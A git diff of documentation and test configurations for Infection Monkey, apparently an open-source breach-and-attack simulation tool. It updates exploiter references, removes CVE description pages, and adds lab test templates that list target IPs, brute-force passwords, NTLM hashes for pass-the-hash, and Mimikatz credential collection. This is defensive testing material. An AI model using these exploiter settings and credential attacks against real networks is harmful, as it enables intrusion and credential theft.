`%temp%\\~df1563.tmp` +1. The directory named by the `TMPDIR` environment variable. +2. The directory named by the `TEMP` environment variable. +3. The directory named by the `TMP` environment variable. +4. A platform-specific location: + - On Windows, the directories `C:\TEMP`, `C:\TMP`, `\TEMP`, and `\TMP`, in that order. + - On all other platforms, the directories `/tmp`, `/var/tmp`, and `/usr/tmp`, in that order. +5. As a last resort, the current working directory. + +Infection Monkey log file name is constructed to the following pattern: `infection-monkey-agent--.log` The logs contain information about the internals of the Infection Monkey agent's execution. The log will contain entries like these: @@ -216,9 +233,9 @@ The logs contain information about the internals of the Infection Monkey agent's The Infection Monkey leaves hardly any trace on the target system. It will leave: -- Log files in the following locations: - - Path on Linux: `/tmp/user-1563` - - Path on Windows: `%temp%\\~df1563.tmp` +- Log files in [temporary directories]({{< ref "/faq/#infection-monkey-agent-logs">}}): + - Path on Linux: `/tmp/infection-monky-agent--.log` + - Path on Windows: `%temp%\\infection-monky-agent--.log` ### What's the Infection Monkey Agent's impact on system resources usage? diff --git a/docs/content/development/_index.md b/docs/content/development/_index.md index 37a5978e7..85b15adcb 100644 --- a/docs/content/development/_index.md +++ b/docs/content/development/_index.md @@ -26,7 +26,7 @@ You can take a look at [our roadmap](https://github.com/guardicore/monkey/projec The best way to find weak spots in a network is by attacking it. The [*Adding Exploits*](./adding-exploits/) page will help you add exploits. -It's important to note that the Infection Monkey must be absolutely reliable. Otherwise, no one will use it, so avoid memory corruption exploits unless they're rock solid and focus on the logical vulns such as Shellshock. +It's important to note that the Infection Monkey must be absolutely reliable. Otherwise, no one will use it, so avoid memory corruption exploits unless they're rock solid and focus on the logical vulns such as Hadoop. ### Analysis plugins 🔬 diff --git a/docs/content/development/adding-exploits.md b/docs/content/development/adding-exploits.md index 1f4698820..bb720af28 100644 --- a/docs/content/development/adding-exploits.md +++ b/docs/content/development/adding-exploits.md @@ -14,7 +14,7 @@ An exploit is a sequence of commands that takes advantage of a security vulnerab ### Do I need a new Exploit? -If all you want to do is execute a shell command, configure the required commands in the Monkey Island's post-breach action (PBA) configuration section or [add a new PBA](../adding-post-breach-actions/). If you would like the Infection Monkey agent to collect specific information, [add a new System Info Collector](../adding-system-info-collectors/). +If all you want to do is execute a shell command, configure the required commands in the Monkey Island's post-breach action (PBA) configuration section or [add a new PBA](../adding-post-breach-actions/). However, if you have your eye on an interesting CVE that you would like the Infection Monkey to support, you must add a new exploit. Keep reading to learn how to add a new exploit. @@ -39,7 +39,7 @@ class MyNewExploiter(HostExploiter): ... ``` -A good example of an exploiter class is the [`SSHExploiter`](https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/exploit/sshexec.py). The [Drupal exploiter is a recently added web RCE exploit](https://github.com/guardicore/monkey/pull/808) that is a good reference as well. +A good example of an exploiter class is the [`SSHExploiter`](https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/exploit/sshexec.py). The [Log4Shell exploiter is a recently added web RCE exploit](https://github.com/guardicore/monkey/pull/1670) that is a good reference as well. ### Modify the Monkey Island @@ -83,7 +83,7 @@ A good example of an exploiter class is the [`SSHExploiter`](https://github.com/ "default": [ "SmbExploiter", ... - "DrupalExploiter", + "Log4ShellExploiter", "MyNewExploiter", <================================= ], } diff --git a/docs/content/development/adding-system-info-collectors.md b/docs/content/development/adding-system-info-collectors.md deleted file mode 100644 index e865bcfd6..000000000 --- a/docs/content/development/adding-system-info-collectors.md +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: "Adding System Info Collectors" -date: 2020-06-09T11:03:42+03:00 -draft: false -tags: ["contribute"] -weight: 80 ---- - -## What does this guide cover? - -This guide will show you how to create a new _System Info Collector_ for the Infection Monkey. System Info Collectors are modules that each of the Infection Monkey agents runs that collect specific information and send it back to the Monkey Island as part of the System Info Telemetry. - -### Do I need a new System Info Collector? - -If all you want to do is execute a shell command, then there's no need to add a new System Info Collector - just configure the required commands in the Monkey Island's post-breach action (PBA) section! Also, if there is a relevant System Info Collector and you only need to add more information to it, simply expand the existing one. Otherwise, you must add a new System Info Collector. - -## How to add a new System Info Collector - -### Modify the Infection Monkey Agent - -#### Framework - -1. Create your new System Info Collector in the following directory: `monkey/infection_monkey/system_info/collectors` by first creating a new file with the name of your System Info Collector. -2. In that file, create a class that inherits from the `SystemInfoCollector` class: - -```py -from infection_monkey.system_info.system_info_collector import SystemInfoCollector - -class MyNewCollector(SystemInfoCollector): -``` - -3. Set the System Info Collector name in the constructor, like so: - -```py -class MyNewCollector(SystemInfoCollector): - def __init__(self): - super(MyNewCollector, self).__init__(name="MyNewCollector") -``` - -#### Implementation - -Override the `collect` method with your own implementation. See the `process_list_collector.py` System Info Collector for reference. You can log during collection as well. - -### Modify the Monkey Island - -#### Configuration - -##### Definitions - -You'll need to add your Sytem Info Collector to the `monkey_island/cc/services/config_schema.py` file, under `definitions/system_info_collectors_classes/anyOf`, like so: - -```json -"system_info_collectors_classes": { - "title": "System Information Collectors", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "HostnameCollector" - ], - "title": "Which Environment this machine is on (on prem/cloud)", - "attack_techniques": [] - }, - { <================================= - "type": "string", <================================= - "enum": [ <================================= - "MyNewCollector" <================================= - ], <================================= - "title": "My new title", <================================= - "attack_techniques": [] <================================= - }, - ], -}, -``` - -##### properties - -Also, you can add the System Info Collector to be used by default by adding it to the `default` key under `properties/monkey/system_info/system_info_collectors_classes`: - -```json -"system_info_collectors_classes": { - "title": "System info collectors", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/system_info_collectors_classes" - }, - "default": [ - "HostnameCollector", - "MyNewCollector" <================================= - ], - "description": "Determines which system information collectors will collect information." -}, -``` - -#### Telemetry processing - -1. Add a process function under `monkey_island/cc/telemetry/processing/system_info_collectors/{DATA_NAME_HERE}.py`. The function should parse the System Info Collector's result. See `processing/system_info_collectors/environment.py` for example. - -2. Add that function to `SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS` under `monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py`. diff --git a/docs/content/development/setup-development-environment.md b/docs/content/development/setup-development-environment.md index f2e739f3a..94cf3acbe 100644 --- a/docs/content/development/setup-development-environment.md +++ b/docs/content/development/setup-development-environment.md @@ -16,7 +16,7 @@ The agent (which we sometimes refer to as the Infection Monkey) is a single Pyth In order to compile the Infection Monkey for distribution by the Monkey Island, you'll need to run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/readme.txt) on each supported environment. -This means setting up an environment with Linux 32/64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 32/64-bit Python versions. +This means setting up an environment with Linux 64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 64-bit Python versions. ## The Monkey Island diff --git a/docs/content/reference/exploiters/Drupal.md b/docs/content/reference/exploiters/Drupal.md deleted file mode 100644 index 5763b0ca8..000000000 --- a/docs/content/reference/exploiters/Drupal.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: "Drupal" -date: 2020-09-01T08:42:46+03:00 -draft: false -tags: ["exploit", "linux", "windows"] ---- - -The Drupal exploiter exploits [CVE-2019-6340](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340) -on a vulnerable Drupal server. - -### Description - -Some field types do not properly sanitize data from non-form sources in certain versions -of Drupal server. - -This can lead to arbitrary PHP code execution in some cases. - - -### Affected Versions - -* Drupal 8.5.x (before 8.5.11) and Drupal 8.6.x (before 8.6.10). - -One of the following conditions must hold: -* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH -or POST requests; OR -* The site has another web services module enabled, like JSON:API in -Drupal 8, or Services or RESTful Web Services in Drupal 7. - - -### Notes - -* The Infection Monkey exploiter implementation is based on an open-source -[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a) -of the exploit by @leonjza. -* For the full attack to work, more than one vulnerable URL is required. diff --git a/docs/content/reference/exploiters/ElasticGroovy.md b/docs/content/reference/exploiters/ElasticGroovy.md deleted file mode 100644 index 86ae4247c..000000000 --- a/docs/content/reference/exploiters/ElasticGroovy.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: "ElasticGroovy" -date: 2020-07-14T08:41:40+03:00 -draft: false -tags: ["exploit", "windows", "linux"] ---- -### Description - -CVE-2015-1427 - -> The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x (before 1.4.3) allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script. - -The logic is based on the [Metasploit module](https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb). diff --git a/docs/content/reference/exploiters/MS08-067.md b/docs/content/reference/exploiters/MS08-067.md deleted file mode 100644 index d4eb3b807..000000000 --- a/docs/content/reference/exploiters/MS08-067.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: "MS08 067" -date: 2020-07-14T08:42:54+03:00 -draft: false -tags: ["exploit", "windows"] ---- - -### Description - -[MS08-067](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067) is a remote code execution vulnerability. - -This exploiter is unsafe. It's therefore **not** enabled by default. - -If an exploit attempt fails, this could also lead to a crash in Svchost.exe. If a crash in Svchost.exe occurs, the server service will be affected. This may cause a system crash due to the use of buffer overflow. diff --git a/docs/content/reference/exploiters/Struts2.md b/docs/content/reference/exploiters/Struts2.md deleted file mode 100644 index 5ce1dfe5a..000000000 --- a/docs/content/reference/exploiters/Struts2.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: "Struts2" -date: 2020-07-14T08:42:30+03:00 -draft: false -tags: ["exploit", "linux", "windows"] ---- -### Description - -This exploit, CVE-2017-5638, utilizes the Struts 2 Java web framework. The logic is based on [VEX WOO's PoC](https://www.exploit-db.com/exploits/41570). diff --git a/docs/content/reference/exploiters/WebLogic.md b/docs/content/reference/exploiters/WebLogic.md deleted file mode 100644 index 0e803641a..000000000 --- a/docs/content/reference/exploiters/WebLogic.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: "WebLogic" -date: 2020-07-14T08:42:46+03:00 -draft: false -tags: ["exploit", "linux", "windows"] ---- -### Description - -This exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on a vulnerable WebLogic server. diff --git a/docs/content/reference/exploiters/shellshock.md b/docs/content/reference/exploiters/shellshock.md deleted file mode 100644 index 20aee282f..000000000 --- a/docs/content/reference/exploiters/shellshock.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: "ShellShock" -date: 2020-07-14T08:41:32+03:00 -draft: false -tags: ["exploit", "linux"] ---- -### Description - -This exploit, CVE-2014-6271, is based on the [logic in NCC group's GitHub](https://github.com/nccgroup/shocker/blob/master/shocker.py). - -> In GNU Bash (through 4.3), processes trailing strings after function definitions in the values of environment variables allow remote attackers to execute arbitrary code via a crafted environment. This is demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients and other situations in which setting the environment occurs across a privilege boundary from Bash execution, AKA "ShellShock." diff --git a/docs/content/reference/operating_systems_support.md b/docs/content/reference/operating_systems_support.md index 36caaa25d..a2b918b63 100644 --- a/docs/content/reference/operating_systems_support.md +++ b/docs/content/reference/operating_systems_support.md @@ -4,7 +4,7 @@ date: 2020-07-14T08:09:53+03:00 draft: false pre: ' ' weight: 10 -tags: ["setup", "reference", "windows", "linux"] +tags: ["setup", "reference", "windows", "linux"] --- The Infection Monkey project supports many popular OSes (but we are always interested in supporting more). @@ -44,21 +44,4 @@ Compatibility depends on GLIBC version (2.14+)[^1]. By default, these distributi We also provide a Dockerfile on our [website](http://infectionmonkey.com/) that lets the Monkey Island run inside a container. -### Old machine bootloader - -Some **older machines** still have partial compatibility and will be exploited and reported, but the Infection Monkey agent can't run on them. In these cases, old machine bootloader (a small C program) will be run, which reports some minor info like network interface configuration, GLIBC version, OS, etc. - -**Old machine bootloader** also has a GLIBC 2.14+ requirement for Linux because the bootloader is included in the Pyinstaller bootloader, which uses Python 3.7 that in turn requires GLIBC 2.14+. If you think partial support for older machines is important, don't hesitate to open a new issue about it. - -**Old machine bootloader** runs on machines with: - -- Centos 7+ -- Debian 7+ -- Kali 2019+ -- Oracle 7+ -- Rhel 7+ -- Suse 12+ -- Ubuntu 14+ -- **Windows XP/Server 2003+** - [^1]: The GLIBC >= 2.14 requirement exists because the Infection Monkey was built using this GLIBC version, and GLIBC is not backward compatible. We are also limited to the oldest GLIBC version compatible with Python 3.7. diff --git a/docs/content/reference/scanners/_index.md b/docs/content/reference/scanners/_index.md index 8cca71b21..e932c7df1 100644 --- a/docs/content/reference/scanners/_index.md +++ b/docs/content/reference/scanners/_index.md @@ -29,14 +29,13 @@ The currently implemented Fingerprint modules are: 2. [`SSHFinger`][ssh-finger] - Fingerprints target machines over SSH (port 22) and extracts the computer version and SSH banner. 3. [`PingScanner`][ping-scanner] - Fingerprints target machine's TTL to differentiate between Linux and Windows hosts. 4. [`HTTPFinger`][http-finger] - Detects HTTP/HTTPS services, using the ports listed in `HTTP_PORTS` in the configuration, will return the server type and if it supports SSL. -5. [`MySQLFinger`][mysql-finger] - Fingerprints MySQL (port 3306) and will extract MySQL banner info - version, major/minor/build and capabilities. -6. [`ElasticFinger`][elastic-finger] - Fingerprints ElasticSearch (port 9200) will extract the cluster name, node name and node version. +5. [`ElasticFinger`][elastic-finger] - Fingerprints ElasticSearch (port 9200) and will extract the cluster name, node name and node version. ## Adding a scanner/fingerprinter To add a new scanner/fingerprinter, create a new class that inherits from [`HostScanner`][host-scanner] or [`HostFinger`][host-finger] (depending on the interface). The class should be under the network module and imported under [`network/__init__.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/network/__init__.py). -To use the new scanner/fingerprinter by default, two files need to be changed - [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) and [`infection_monkey/example.conf`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/example.conf) to add references to the new class. +To use the new scanner/fingerprinter by default, modify [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) to add references to the new class. At this point, the Infection Monkey knows how to use the new scanner/fingerprinter but to make it easy to use, the UI needs to be updated. The relevant UI file is [`monkey_island/cc/services/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/cc/services/config.py). @@ -44,7 +43,6 @@ At this point, the Infection Monkey knows how to use the new scanner/fingerprint [http-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/httpfinger.py [host-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/__init__.py [host-scanner]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/__init__.py - [mysql-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/mysqlfinger.py [ping-scanner]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/ping_scanner.py [smb-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/smbfinger.py [ssh-finger]: https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/network/sshfinger.py diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index a1a1ff1a4..4473a5fd9 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -52,7 +52,7 @@ You can configure the server by creating a [server configuration file](../../reference/server_configuration) and providing a path to it via command line parameters: -`./InfectionMonkey-v1.12.0.AppImage --server-config="/path/to/server_config.json"` +`./InfectionMonkey-v1.13.0.AppImage --server-config="/path/to/server_config.json"` ### Start Monkey Island with user-provided certificate @@ -88,7 +88,7 @@ The server configuration file should look something like: 1. Start Monkey Island by running the Infection Monkey AppImage package: ```bash - ./InfectionMonkey-v1.12.0.AppImage --server-config="/path/to/server_config.json" + ./InfectionMonkey-v1.13.0.AppImage --server-config="/path/to/server_config.json" ``` 1. Access the Monkey Island web UI by pointing your browser at @@ -109,7 +109,7 @@ The server configuration file should look something like: 1. Start Monkey Island by running the Infection Monkey AppImage package: ```bash - ./InfectionMonkey-v1.12.0.AppImage --server-config="/path/to/server_config.json" + ./InfectionMonkey-v1.13.0.AppImage --server-config="/path/to/server_config.json" ``` 1. Access the Monkey Island web UI by pointing your browser at diff --git a/docs/content/usage/file-checksums.md b/docs/content/usage/file-checksums.md index af22ebdbf..bd87ee049 100644 --- a/docs/content/usage/file-checksums.md +++ b/docs/content/usage/file-checksums.md @@ -35,6 +35,19 @@ $ sha256sum monkey-linux-64 ## Latest version checksums +| Filename | Type | Version | SHA256 | +|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| +| monkey-windows-64.exe | Windows Agent | 1.13.0 | `3EDD20DE2247047C8A822C84145981936CE2FD0BDF843EB5CA777CA4D2478B35` | +| monkey-windows-32.exe | Windows Agent | 1.13.0 | `7497907E3CF4FFEB121A7795BFA16709800E6E0F99770F64AF7FFF684ECBA6D6` | +| monkey-linux-64 | Linux Agent | 1.13.0 | `F21E709CB7BA8DAF90B908AF5FE485BA43866C325D3C7CE1EB07E8A2323E07C1` | +| monkey-linux-32 | Linux Agent | 1.13.0 | `24C5779825F26C76A8910794836647096F4BB4B47CFD6AD213CC48116D140FAB` | +| InfectionMonkey-v1.13.0.AppImage | Linux Package | 1.13.0 | `CDED4E8394A4D2A809BA9B74B924AEA590317515B9B032BA8005A93DFCE1C861` | +| InfectionMonkey-docker-v1.13.0.tgz | Docker | 1.13.0 | `342701BA8EC5B754C59685896FC3DCDBB93362FFFAD0EC7F9E2E5B99DA26F5EC` | +| InfectionMonkey-v1.13.0.exe | Windows Installer | 1.13.0 | `D35ED6CAF21AC786D9A438510282FA07AEF812590A5E6405A01F2B06661B33B9` | + + +## Older checksums + | Filename | Type | Version | SHA256 | |------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| | monkey-windows-64.exe | Windows Agent | 1.12.0 | `02e5e051a96e2ca61ae8e661b3a5828ee53a0fc00aca6502d5c73a46754f0d07` | @@ -44,12 +57,6 @@ $ sha256sum monkey-linux-64 | InfectionMonkey-v1.12.0.AppImage | Linux Package | 1.12.0 | `1325f2aa1d0c27aec2e2f9864ed53c53c524bd208313f87ea6606f59c90ff310` | | InfectionMonkey-docker-v1.12.0.tgz | Docker | 1.12.0 | `dcaf669411d55ea6883920597af4a35f3735a286801e08b6ef047cc91ff32769` | | InfectionMonkey-v1.12.0.exe | Windows Installer | 1.12.0 | `4d6e0373be3615a4b97721a07d2a854f6316d1ce8c4ff6d6495aac3a8f2c6a69` | - - -## Older checksums - -| Filename | Type | Version | SHA256 | -|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| | monkey-windows-64.exe | Windows Agent | 1.11.0 | `12c55377381a8fc7d8ff731db52302ef2f8bb894d8712769e5a91a140ba22b0a` | | monkey-windows-32.exe | Windows Agent | 1.11.0 | `e006b26663f59b92bad8d49b034cd8101dd481f881e3c4839a9c1e64fd99e849` | | monkey-linux-64 | Linux Agent | 1.11.0 | `fb4c979ce6c29bb458be50a44cc6839650826b831da849da69a05dfefdc66462` | diff --git a/docs/content/usage/getting-started.md b/docs/content/usage/getting-started.md index 6572e7b24..b6a90e793 100644 --- a/docs/content/usage/getting-started.md +++ b/docs/content/usage/getting-started.md @@ -7,11 +7,14 @@ pre: " " tags: ["usage"] --- + + + If you haven't deployed the Monkey Island yet, please [refer to our setup documentation](/setup). ## Using the Infection Monkey -After deploying the Monkey Island in your environment, navigate to `https://:5000`. +After deploying the Monkey Island in your environment, navigate to `https://:5000`. ### First-time login diff --git a/docs/content/usage/integrations/scoutsuite.md b/docs/content/usage/integrations/scoutsuite.md deleted file mode 100644 index 76737681c..000000000 --- a/docs/content/usage/integrations/scoutsuite.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: "Scoutsuite" -date: 2021-03-02T16:23:06+02:00 -draft: false -description: "Scout Suite is an open-source cloud security-auditing tool." -weight: 10 ---- - -### About ScoutSuite - -Scout Suite is an open-source cloud security-auditing tool. -It queries the cloud API to gather configuration data. Based on configuration -data gathered, ScoutSuite shows security issues and risks present in your infrastructure. - -### Supported cloud providers - -Currently, ScoutSuite integration only supports AWS environments. - -### Enabling ScoutSuite - -First, Infection Monkey needs access to your cloud API. You can provide access -in the following ways: - - - Provide access keys: - - Create a new user with ReadOnlyAccess and SecurityAudit policies and generate keys - - Generate keys for your current user (faster but less secure) - - Configure AWS CLI: - - If the command-line interface is available on the Island, it will be used to access - the cloud API - -More details about configuring ScoutSuite can be found in the tool itself, by choosing -"Cloud Security Scan" in the "Run Monkey" options. - -![Cloud scan option in run page](/images/usage/integrations/scoutsuite_run_page.png -"Successful setup indicator") - -After you're done with the setup, make sure that a checkmark appears next to the AWS option. This -verifies that ScoutSuite can access the API. - -![Successfull setup indicator](/images/usage/integrations/scoutsuite_aws_configured.png -"Successful setup indicator") - -### Running a cloud security scan - -If you have successfully configured the cloud scan, Infection Monkey will scan -your cloud infrastructure when the Monkey Agent is run **on the Island**. You -can simply click on "From Island" in the run options to start the scan. The -scope of the network scan and other activities you may have configured the Agent -to perform are ignored by the ScoutSuite integration, except **Monkey -Configuration -> System info collectors -> AWS collector**, which needs to -remain **enabled**. - - -### Assessing scan results - -After the scan is done, ScoutSuite results will be categorized according to the -ZeroTrust Extended framework and displayed as a part of the ZeroTrust report. -The main difference between Infection Monkey findings and ScoutSuite findings -is that ScoutSuite findings contain security rules. To see which rules were -checked, click on the "Rules" button next to the relevant test. You'll see a -list of rule dropdowns that are color coded according to their status. Expand a -rule to see its description, remediation and more details about resources -flagged. Each flagged resource has a path so you can easily locate it in the -cloud and remediate the issue. - -![Open ScoutSuite rule](/images/usage/integrations/scoutsuite_report_rule.png -"Successful setup indicator") diff --git a/docs/content/usage/scenarios/custom-scenario/zero-trust.md b/docs/content/usage/scenarios/custom-scenario/zero-trust.md index 2e54dc73e..07884e3c8 100644 --- a/docs/content/usage/scenarios/custom-scenario/zero-trust.md +++ b/docs/content/usage/scenarios/custom-scenario/zero-trust.md @@ -11,8 +11,6 @@ weight: 1 Want to assess your progress in achieving a Zero Trust network? The Infection Monkey can automatically evaluate your readiness across the different [Zero Trust Extended Framework](https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210) principles. -You can additionally scan your cloud infrastructure's compliance to ZeroTrust principles using [ScoutSuite integration.]({{< ref "/usage/integrations/scoutsuite" >}}) - ## Configuration - **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. diff --git a/envs/monkey_zoo/blackbox/config_templates/base_template.py b/envs/monkey_zoo/blackbox/config_templates/base_template.py index dbc235cd7..5a1ce49a6 100644 --- a/envs/monkey_zoo/blackbox/config_templates/base_template.py +++ b/envs/monkey_zoo/blackbox/config_templates/base_template.py @@ -8,7 +8,7 @@ class BaseTemplate(ConfigTemplate): "basic.exploiters.exploiter_classes": [], "basic_network.scope.local_network_scan": False, "basic_network.scope.depth": 1, - "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "internal.classes.finger_classes": ["HTTPFinger"], "internal.monkey.system_info.system_info_collector_classes": [], "monkey.post_breach.post_breach_actions": [], "internal.general.keep_tunnel_open_time": 0, diff --git a/envs/monkey_zoo/blackbox/config_templates/drupal.py b/envs/monkey_zoo/blackbox/config_templates/drupal.py deleted file mode 100644 index 388a47a42..000000000 --- a/envs/monkey_zoo/blackbox/config_templates/drupal.py +++ /dev/null @@ -1,18 +0,0 @@ -from copy import copy - -from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate -from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate - - -class Drupal(ConfigTemplate): - config_values = copy(BaseTemplate.config_values) - - config_values.update( - { - "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], - "basic.exploiters.exploiter_classes": ["DrupalExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.28"], - "internal.network.tcp_scanner.HTTP_PORTS": [80], - "internal.network.tcp_scanner.tcp_target_ports": [], - } - ) diff --git a/envs/monkey_zoo/blackbox/config_templates/elastic.py b/envs/monkey_zoo/blackbox/config_templates/elastic.py deleted file mode 100644 index 0a89b9cc3..000000000 --- a/envs/monkey_zoo/blackbox/config_templates/elastic.py +++ /dev/null @@ -1,20 +0,0 @@ -from copy import copy - -from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate -from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate - - -class Elastic(ConfigTemplate): - - config_values = copy(BaseTemplate.config_values) - - config_values.update( - { - "basic.exploiters.exploiter_classes": ["ElasticGroovyExploiter"], - "internal.classes.finger_classes": ["PingScanner", "HTTPFinger", "ElasticFinger"], - "basic_network.scope.subnet_scan_list": ["10.2.2.4", "10.2.2.5"], - "basic_network.scope.depth": 1, - "internal.network.tcp_scanner.HTTP_PORTS": [9200], - "internal.network.tcp_scanner.tcp_target_ports": [], - } - ) diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py new file mode 100644 index 000000000..b09123566 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py @@ -0,0 +1,42 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Depth1A(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + # Tests: + # Hadoop (10.2.2.2, 10.2.2.3) + # Log4shell (10.2.3.55, 10.2.3.56, 10.2.3.49, 10.2.3.50, 10.2.3.51, 10.2.3.52) + # MSSQL (10.2.2.16) + # SMB mimikatz password stealing and brute force (10.2.2.14 and 10.2.2.15) + config_values.update( + { + "basic.exploiters.exploiter_classes": [ + "HadoopExploiter", + "Log4ShellExploiter", + "MSSQLExploiter", + "SmbExploiter", + "SSHExploiter", + ], + "basic_network.scope.subnet_scan_list": [ + "10.2.2.2", + "10.2.2.3", + "10.2.3.55", + "10.2.3.56", + "10.2.3.49", + "10.2.3.50", + "10.2.3.51", + "10.2.3.52", + "10.2.2.16", + "10.2.2.14", + "10.2.2.15", + ], + "basic.credentials.exploit_password_list": ["Ivrrw5zEzs", "Xk8VDTsC"], + "basic.credentials.exploit_user_list": ["m0nk3y"], + "monkey.system_info.system_info_collector_classes": [ + "MimikatzCollector", + ], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_2_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_2_a.py new file mode 100644 index 000000000..d9f5168e2 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_2_a.py @@ -0,0 +1,23 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Depth2A(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + # SSH password and key brute-force, key stealing (10.2.2.11, 10.2.2.12) + config_values.update( + { + "basic.exploiters.exploiter_classes": [ + "SSHExploiter", + ], + "basic_network.scope.subnet_scan_list": [ + "10.2.2.11", + "10.2.2.12", + ], + "basic_network.scope.depth": 2, + "basic.credentials.exploit_password_list": ["^NgDvY59~8"], + "basic.credentials.exploit_user_list": ["m0nk3y"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py new file mode 100644 index 000000000..6d5261d95 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_3_a.py @@ -0,0 +1,48 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Depth3A(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + # Tests: + # Powershell (10.2.3.45, 10.2.3.46, 10.2.3.47, 10.2.3.48) + # Tunneling (SSH brute force) (10.2.2.9, 10.2.1.10, 10.2.0.12, 10.2.0.11) + # WMI pass the hash (10.2.2.15) + config_values.update( + { + "basic.exploiters.exploiter_classes": [ + "PowerShellExploiter", + "SSHExploiter", + "WmiExploiter", + ], + "basic_network.scope.subnet_scan_list": [ + "10.2.3.45", + "10.2.3.46", + "10.2.3.47", + "10.2.3.48", + "10.2.2.9", + "10.2.1.10", + "10.2.0.12", + "10.2.0.11", + "10.2.2.15", + ], + "basic.credentials.exploit_password_list": [ + "Passw0rd!", + "3Q=(Ge(+&w]*", + "`))jU7L(w}", + "t67TC5ZDmz", + ], + "basic_network.scope.depth": 3, + "internal.general.keep_tunnel_open_time": 20, + "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.exploits.exploit_ntlm_hash_list": [ + "d0f0132b308a0c4e5d1029cc06f48692", + "5da0889ea2081aa79f6852294cba4a5e", + "50c9987a6bf1ac59398df9f911122c9b", + ], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/shellshock.py b/envs/monkey_zoo/blackbox/config_templates/shellshock.py deleted file mode 100644 index b3620e5b9..000000000 --- a/envs/monkey_zoo/blackbox/config_templates/shellshock.py +++ /dev/null @@ -1,17 +0,0 @@ -from copy import copy - -from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate -from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate - - 